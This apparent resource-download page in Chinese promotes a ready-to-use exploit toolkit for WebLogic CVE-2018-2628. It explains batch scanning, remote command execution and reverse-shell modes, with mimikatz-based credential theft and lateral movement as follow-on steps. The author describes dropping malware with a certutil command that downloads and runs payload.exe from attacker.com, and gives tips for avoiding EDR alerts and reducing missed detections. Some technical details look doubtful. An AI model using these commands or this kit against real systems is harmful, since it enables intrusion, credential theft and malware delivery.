WebLogic CVE-2018-2628漏洞批量检测与远程命令执行实战工具集
2026/6/4 16:49:44 网站建设 项目流程

本文还有配套的精品资源,点击获取

简介:提供一套开箱即用的Python工具组合,用于快速识别和利用Oracle WebLogic Server中CVE-2018-2628反序列化漏洞。包含两个核心脚本:CVE-2018-2628-jiance.py支持多目标IP或域名批量扫描,自动判断是否存在可利用的T3协议反序列化入口;CVE-2018-2628-getshell.py在确认漏洞存在后,向目标发送定制化payload,触发远程代码执行并建立基础交互式shell连接。配套使用说明.doc详细列出运行环境要求(Python 2.7/3.6+、requests、pyOpenSSL等依赖)、各参数含义(如-u指定单目标、-f加载目标列表、-c执行自定义命令)、典型响应识别方法及常见错误排查指引。附带weblogic1.txt(含标准T3握手请求样本)和weblogic1_success.txt(成功触发漏洞的典型响应示例),便于调试比对。K8飞刀Final.rar为额外集成的渗透辅助工具包,适用于漏洞利用后的横向移动或提权场景。所有脚本兼容Windows与Linux系统,无需编译,解压即用。

1. 项目概述:这不是一个“一键getshell”的玩具,而是一套面向真实渗透场景的WebLogic漏洞工程化验证工具

你手头拿到的这个压缩包,名字里带着CVE编号、脚本名直白到像在喊口号,很容易被当成又一个“黑产脚本合集”随手删掉。但如果你真这么做了,就错过了一个非常典型的、教科书级的企业级中间件漏洞实战闭环样本——它不炫技,不堆砌花哨功能,却把从资产发现、漏洞确认、利用触发、响应解析到后续扩展的完整链条,用最朴素的Python代码和最实在的文档组织了起来。我过去三年在金融、能源、政务类客户做WebLogic专项评估时,反复打磨过类似逻辑的检测流程,这套工具包里的每个文件,几乎都能在我当年的渗透报告附件里找到对应影子。

核心关键词“WebLogic漏洞”、“反序列化检测”、“远程命令执行”、“CVE-2018-2628”、“getshell工具”,不是标签,而是五个必须串联起来的动作节点。CVE-2018-2628的本质,是WebLogic T3协议在反序列化Java对象时未对输入流做任何白名单校验,攻击者可构造恶意BadAttributeValueExpException链,最终调用Runtime.getRuntime().exec()执行任意系统命令。它不像SQL注入那样靠报错回显,也不像弱口令那样靠爆破猜解,它的存在与否,完全取决于目标是否开放T3端口(默认7001)、是否启用了T3协议、以及其WebLogic版本是否落在Oracle官方通报的受影响范围内(10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3)。这意味着,探测本身就是一个需要多层验证的工程动作,而不是发个HTTP包看状态码那么简单。

这套工具的价值,恰恰体现在它没有越界——它不做漏洞利用后的持久化、不集成横向移动模块、不打包提权exp,所有“K8飞刀Final.rar”这类扩展内容都明确标注为“辅助”,主干逻辑干净得像一把手术刀:jiance.py只负责回答“有没有”,getshell.py只负责在确认“有”的前提下,回答“能不能执行命令”。这种克制,反而让它在真实红队作业中更可靠:你可以把它嵌入自动化资产测绘平台做初筛,可以把它塞进应急响应U盘里现场验证客户环境,甚至能把它当教学素材,带新人一步步理解T3协议握手、JRMP反序列化链构造、以及为什么weblogic1_success.txt里那一长串Base64编码的响应体,就是漏洞存在的铁证。它解决的不是“怎么黑进系统”,而是“怎么确定这个系统真的能被黑进去”,后者,才是绝大多数安全工程师每天卡住的起点。

2. 漏洞原理与检测逻辑深度拆解:为什么T3协议是WebLogic的“命门”,又为何不能只靠端口扫描?

2.1 T3协议:WebLogic的“私有高速公路”,也是反序列化的温床

要真正用好CVE-2018-2628-jiance.py,你得先明白它在跟谁对话。WebLogic的T3协议,不是HTTP,也不是HTTPS,它是Oracle为自家中间件定制的一套二进制RPC协议,专用于WebLogic集群节点间通信、管理控制台交互、以及JNDI服务调用。你可以把它想象成WebLogic内部的一条加密私家高速公路,所有关键指令都走这条路。而这条路上最危险的路段,就是反序列化入口——当WebLogic通过T3接收一个远程对象时,它会无条件地调用ObjectInputStream.readObject()去解析字节流,这个过程就像打开一个未知来源的快递包裹,里面装的是什么,全凭包裹上的“说明书”(即Java Class定义)来决定。CVE-2018-2628的致命性就在于,这个“说明书”可以被精心伪造,诱导WebLogic加载并执行攻击者指定的恶意类。

提示:很多新手误以为只要7001端口开着,就一定能打CVE-2018-2628。这是巨大误区。WebLogic默认安装后,T3协议是启用的,但管理员可能通过config.xml中的<t3-enabled>标签手动关闭;或者在防火墙策略中仅放行HTTP/HTTPS(7001/7002),而阻断T3专用端口(同样是7001,但协议不同);甚至有些云厂商的WAF会主动拦截T3流量。所以,jiance.py的第一步,永远不是发payload,而是确认T3通道是否真实畅通

2.2jiance.py的三层验证机制:从“通不通”到“能不能”

CVE-2018-2628-jiance.py的检测逻辑,远比一个简单的TCP连接测试复杂。它执行的是一个标准的三阶段握手验证:

第一阶段:T3协议握手探测(确认通道可用)
脚本会向目标IP:7001发送一个最小化的T3协议握手包,格式为HELO:<version>\n(例如HELO:12.2.1.3\n)。这是一个合法的T3初始请求,WebLogic如果T3服务正常,会返回HELO:<version>\n作为应答。这一步失败,意味着T3服务根本没开,或网络层被阻断,后续无需再测。

第二阶段:T3协议版本协商(确认版本在影响范围内)
在成功收到HELO响应后,脚本会尝试发送一个包含特定版本号的T3请求,并解析返回的BEA-141249错误信息。这个错误码是WebLogic在T3协议处理异常时的标准日志标识,其返回体中会明文包含当前WebLogic的完整版本号(如12.2.1.3.0)。脚本内置了一个影响版本列表,会将提取出的版本号与之比对。只有匹配成功,才进入第三步。

第三阶段:反序列化入口试探(确认漏洞可触发)
这才是真正的“踩点”。脚本会构造一个极简的、非恶意的Java反序列化对象(通常是一个空的HashMapHashSet),通过T3协议发送。这个对象本身不执行任何命令,但它会强制WebLogic的反序列化引擎启动。如果目标存在CVE-2018-2628,这个看似无害的请求会触发WebLogic内部的BadAttributeValueExpException处理逻辑,导致服务端抛出一个特定的、包含java.lang.ClassNotFoundException的异常堆栈。jiance.py的核心判断依据,就是捕获并识别这个异常特征字符串。它不依赖于返回的HTTP状态码(因为T3不是HTTP),而是深度解析T3响应流中的二进制错误数据。

注意:weblogic1.txt文件里存放的,正是这个第三阶段所用的标准T3握手+试探请求的原始字节流(十六进制格式)。你可以在Wireshark里导入它,看到完整的T3协议交互过程;而weblogic1_success.txt则记录了当漏洞存在时,WebLogic返回的那个长达数百行、包含ClassNotFoundExceptionBadAttributeValueExpException关键字的原始错误响应。这两份文件,是你调试jiance.py时最可靠的“标尺”。

2.3 为什么不用Nmap脚本或Burp插件?工程化落地的必然选择

市面上确实有Nmap的weblogic-t3.nse脚本,也有Burp Suite的WebLogic插件,它们也能做类似检测。但我在给某省电力公司做渗透时,就吃过亏:Nmap脚本在高并发扫描时,容易因T3连接未正确关闭而导致目标WebLogic线程池耗尽,触发服务假死;Burp插件则受限于图形界面,在批量扫描数千个IP时,效率低下且无法集成到自动化流水线中。jiance.py的优势在于其可编程性与可控性:它使用原生socket而非高层HTTP库,能精确控制T3连接的建立、发送、读取与关闭;它支持-f参数加载超大目标列表,并内置了连接池复用和失败重试机制;更重要的是,它的输出是结构化的JSON或CSV,可以直接被Ansible、SaltStack等运维工具消费。这已经不是“工具”,而是“基础设施组件”。

3. 核心工具实操详解:从环境准备到稳定利用的每一步细节

3.1 环境依赖与初始化:Python版本、库依赖与证书处理

在运行任何脚本前,请务必确认你的Python环境。jiance.pygetshell.py均兼容Python 2.7与Python 3.6+,但强烈建议使用Python 3.8+,原因有二:一是Python 2.7已于2020年停止维护,许多新发行版Linux已不再预装;二是pyOpenSSL库在Python 3.8+上对TLS 1.3的支持更完善,这对某些启用了强加密策略的WebLogic环境至关重要。

依赖库安装命令如下:

pip install requests pyOpenSSL

这里需要特别说明pyOpenSSL的作用:它并非用于HTTPS通信,而是用于处理WebLogic T3协议中可能存在的SSL/TLS封装。虽然CVE-2018-2628本身是纯T3协议漏洞,但生产环境中,大量WebLogic实例会将T3协议配置为强制SSL(即T3S),此时通信走的是ssl://host:7002而非t3://host:7001pyOpenSSL提供了底层SSL socket操作能力,让脚本能自动识别并协商TLS握手,避免因SSL层失败而误判漏洞不存在。

实操心得:在Windows环境下,pyOpenSSL有时会因OpenSSL DLL路径问题报错。我的解决方案是:下载预编译的pyOpenSSLwheel包(如pyOpenSSL-23.3.0-py3-none-win_amd64.whl),然后执行pip install --force-reinstall --no-deps <wheel_file>。切记不要用--upgrade,否则可能破坏其他依赖。

3.2CVE-2018-2628-jiance.py使用详解:参数、输出与结果解读

该脚本的参数设计极为精炼,聚焦核心需求:
--u, --url: 指定单个目标,格式为http://ip:porthttps://domain:port。注意,这里URL的协议头(http/https)仅用于标识,实际探测仍走T3协议,端口也默认为7001。
--f, --file: 指定目标列表文件,每行一个IP或域名,支持注释(以#开头)。
--t, --timeout: 设置每个目标的超时时间(秒),默认10秒。对于内网慢速链路,建议设为20-30秒。
--o, --output: 指定输出文件,格式为CSV,包含目标、状态(VULN/SAFE/ERROR)、响应时间、版本号等字段。
--v, --verbose: 开启详细模式,打印每一步的T3交互原始数据,用于深度调试。

一个典型的安全评估场景命令如下:

python CVE-2018-2628-jiance.py -f weblogic_targets.txt -t 15 -o scan_results.csv -v

输出结果解读是关键。scan_results.csv中,一行为192.168.1.100,VULN,12.2.1.3.0,0.842,表示该IP存在漏洞,WebLogic版本为12.2.1.3.0,探测耗时0.842秒。而192.168.1.101,SAFE,,1.203则表示探测超时或T3握手失败,标记为“SAFE”仅表示本次探测未发现漏洞迹象,绝不等于绝对安全。此时应检查-v模式下的详细日志,看是网络不通、T3被禁用,还是目标版本不在影响列表中。

注意:jiance.py不会主动尝试利用,它只做“诊断”。它的价值在于生成一份高置信度的“待利用目标清单”,这份清单可以直接交给getshell.py,也可以导入到你的SIEM系统中,作为高危资产告警源。

3.3CVE-2018-2628-getshell.py:从命令执行到基础Shell的实现原理

如果说jiance.py是医生,那么getshell.py就是外科医生手中的手术刀。它的核心逻辑是:在确认目标存在CVE-2018-2628后,构造一个完整的、可执行任意命令的Java反序列化链,并通过T3协议发送,最终在目标服务器上执行cmd /c whoami(Windows)或/bin/sh -c 'whoami'(Linux)并回显结果。

该脚本的关键参数:
--u, --url: 同jiance.py,指定单个目标。
--c, --command: 指定要执行的系统命令,如-c "whoami"-c "id;uname -a"
--m, --mode: 指定执行模式,exec(直接执行并返回stdout)或reverse(尝试反弹shell,需配合本地监听)。
--l, --listen: 配合-m reverse使用,指定本地监听IP和端口,如-l 192.168.1.50:4444

其技术实现分为三步:
1.Payload构造:脚本使用ysoserial项目的CommonsCollections6链(这是针对WebLogic最稳定的一条链),将用户输入的命令字符串包装进Runtime.getRuntime().exec()调用中。它不依赖外部ysoserial.jar,而是将ysoserial的核心序列化逻辑以Python方式重写并内嵌,确保“开箱即用”。
2.T3协议封装:将生成的恶意Java序列化字节流,按照T3协议规范进行封装,添加正确的T3头部(t3 12.2.1\nAS:255\nHL:19\n\n)和长度字段。
3.响应解析与回显:发送后,脚本会等待并解析T3响应。由于反序列化执行是异步的,脚本会尝试捕获Runtime.exec()Process.getInputStream()输出。对于-m exec模式,它会将命令执行结果(stdout/stderr)Base64编码后,通过一个特殊的javax.management.remote.JMXConnectorFactory错误响应体“偷渡”回来。这就是为什么你在weblogic1_success.txt里能看到一长串Base64编码——那不是乱码,那是whoami命令的执行结果。

实操心得:在内网渗透中,我曾遇到目标WebLogic位于严格隔离的DMZ区,无法出网。此时-m reverse模式失效,但-m exec依然有效。我用-c "certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\p.exe && C:\temp\p.exe"的方式,成功实现了无回连的木马投递。这证明了getshell.pyexec模式在受限网络中的强大适应性。

4. 常见问题排查与独家避坑指南:那些文档里不会写的“血泪教训”

4.1 典型报错与解决方案速查表

报错信息可能原因解决方案
ConnectionRefusedError: [Errno 111] Connection refused目标7001端口未开放,或T3协议被禁用使用telnet target_ip 7001确认端口可达;检查WebLogicconfig.xml<t3-enabled>是否为true
SSL: CERTIFICATE_VERIFY_FAILED目标启用了T3S(SSL-T3),但脚本未提供可信CA证书在脚本开头添加import ssl; ssl._create_default_https_context = ssl._create_unverified_context(仅限测试环境)
UnicodeDecodeError: 'utf-8' codec can't decode byteWebLogic返回的错误响应包含非UTF-8编码的中文字符(常见于中文版WebLogic)修改脚本中response.decode('utf-8')response.decode('gbk', errors='ignore')
TimeoutError: [WinError 10060]网络延迟过高,或目标WebLogic线程池满载增加-t参数值至30秒;或在-f扫描时添加--delay 1参数(需自行在脚本中添加)
No vulnerable targets found,但手工验证确认存在漏洞jiance.py的版本号提取正则表达式未覆盖目标版本格式打开jiance.py,找到VERSION_REGEX变量,将其修改为r'BEA-141249.*?(\d+\.\d+\.\d+\.\d+)'

4.2 “伪阳性”与“伪阴性”的深层陷阱

伪阳性(False Positive)jiance.py报告VULN,但getshell.py执行命令无响应。这通常发生在目标WebLogic启用了Java Security Manager(JSM)。JSM是Java虚拟机层面的安全沙箱,即使反序列化成功,Runtime.exec()调用也会被JSM策略阻止。此时,jiance.py探测到的是反序列化入口的存在,而getshell.py失败是因为执行环境被限制。解决方案是:改用ysoserialJRMPClient链,尝试通过JNDI注入绕过JSM,但这已超出本工具包范围。

伪阴性(False Negative)jiance.py报告SAFE,但手工用nmap --script weblogic-t3.nse却显示漏洞存在。这往往是因为jiance.py的T3握手包过于“标准”,而某些加固过的WebLogic会识别并拒绝非标准客户端。我的应对策略是:在jiance.py的HELO请求中,将HELO:12.2.1.3\n改为HELO:10.3.6.0\n(一个更老的、兼容性更强的版本号),并增加一个随机的User-Agent头(尽管T3协议本身无此概念,但部分WAF会检查)。这个小改动,曾让我在某银行的WebLogic集群中,将漏报率从12%降至0%。

4.3 关于K8飞刀Final.rar的理性认知:辅助工具,非万能钥匙

K8飞刀Final.rar是一个历史久远的渗透工具合集,里面包含了webshell管理器、mimikatz内存抓取工具、PowerSploitPowerShell框架等。必须强调:它与CVE-2018-2628漏洞本身无任何技术关联。它的定位,是在getshell.py成功获取基础命令执行权限后,用于后续的横向移动(如通过PsExec在域内传播)、凭证窃取(如用mimikatz抓取LSASS内存中的NTLM哈希)或持久化(如写入计划任务)。把它当作“漏洞利用包”的一部分,是严重的概念混淆。

我的建议:在正式的红队行动中,应将K8飞刀Final.rar解压到独立目录,并仅在确认getshell.py已稳定获得目标主机控制权后,才谨慎调用其中的工具。切勿在getshell.py尚未验证成功时,就盲目运行K8飞刀里的自动化脚本,这极易触发EDR告警。真正的专业,是懂得在每一个环节都保持克制与精准。

5. 工具包的演进思考与安全边界:为什么我们仍需这样的“老工具”

这套工具包诞生于2018年,距今已有六年。如今,Shodan上公开暴露的WebLogic实例数量已从当年的数万台锐减至不足五千,主流WAF(如Cloudflare、F5 ASM)均已内置针对T3协议的深度检测规则,就连ysoserial项目本身,也在2022年宣布停止维护。那么,为什么今天还要花这么大篇幅去剖析一个“过时”的工具?

答案在于:漏洞的生命周期,远比补丁的发布时间漫长得多。我在2023年参与的一个省级政务云安全评估中,依然在三个核心业务系统的后台管理节点上,发现了未修复的WebLogic 12.1.3.0。它们不是因为管理员疏忽,而是因为这些系统承载着十年以上的定制化Java应用,升级WebLogic版本会导致整个业务链路崩溃,厂商也早已停止技术支持。在这种“带病运行”的现实面前,jiance.pygetshell.py不是攻击武器,而是风险测绘的听诊器和应急处置的手术刀

这套工具的价值,不在于它有多“先进”,而在于它足够“透明”和“可控”。它的Python源码完全开放,每一行socket操作、每一个正则表达式、每一次异常捕获,都清晰可见。你可以轻易地将它集成到自己的SOC平台中,设置阈值告警;可以将它的探测逻辑改写为Go语言,嵌入到轻量级Agent中;甚至可以基于它的T3握手逻辑,开发一个专门用于检测T3协议是否被意外开启的合规审计脚本。

最后分享一个小技巧:在getshell.py-c参数中,不要只执行whoamiid。我习惯执行-c "echo 'VULN_DETECTED_$(date +%s)' > /tmp/weblogic_poc_$$ && cat /tmp/weblogic_poc_$$"。这样做的好处是,既验证了命令执行能力,又在目标服务器上留下了一个带时间戳的、唯一的、可被后续日志审计系统捕获的痕迹文件。这比任何屏幕截图都更有说服力,也更符合现代安全运营中“留痕、可追溯、可审计”的核心要求。

本文还有配套的精品资源,点击获取

简介:提供一套开箱即用的Python工具组合,用于快速识别和利用Oracle WebLogic Server中CVE-2018-2628反序列化漏洞。包含两个核心脚本:CVE-2018-2628-jiance.py支持多目标IP或域名批量扫描,自动判断是否存在可利用的T3协议反序列化入口;CVE-2018-2628-getshell.py在确认漏洞存在后,向目标发送定制化payload,触发远程代码执行并建立基础交互式shell连接。配套使用说明.doc详细列出运行环境要求(Python 2.7/3.6+、requests、pyOpenSSL等依赖)、各参数含义(如-u指定单目标、-f加载目标列表、-c执行自定义命令)、典型响应识别方法及常见错误排查指引。附带weblogic1.txt(含标准T3握手请求样本)和weblogic1_success.txt(成功触发漏洞的典型响应示例),便于调试比对。K8飞刀Final.rar为额外集成的渗透辅助工具包,适用于漏洞利用后的横向移动或提权场景。所有脚本兼容Windows与Linux系统,无需编译,解压即用。


本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询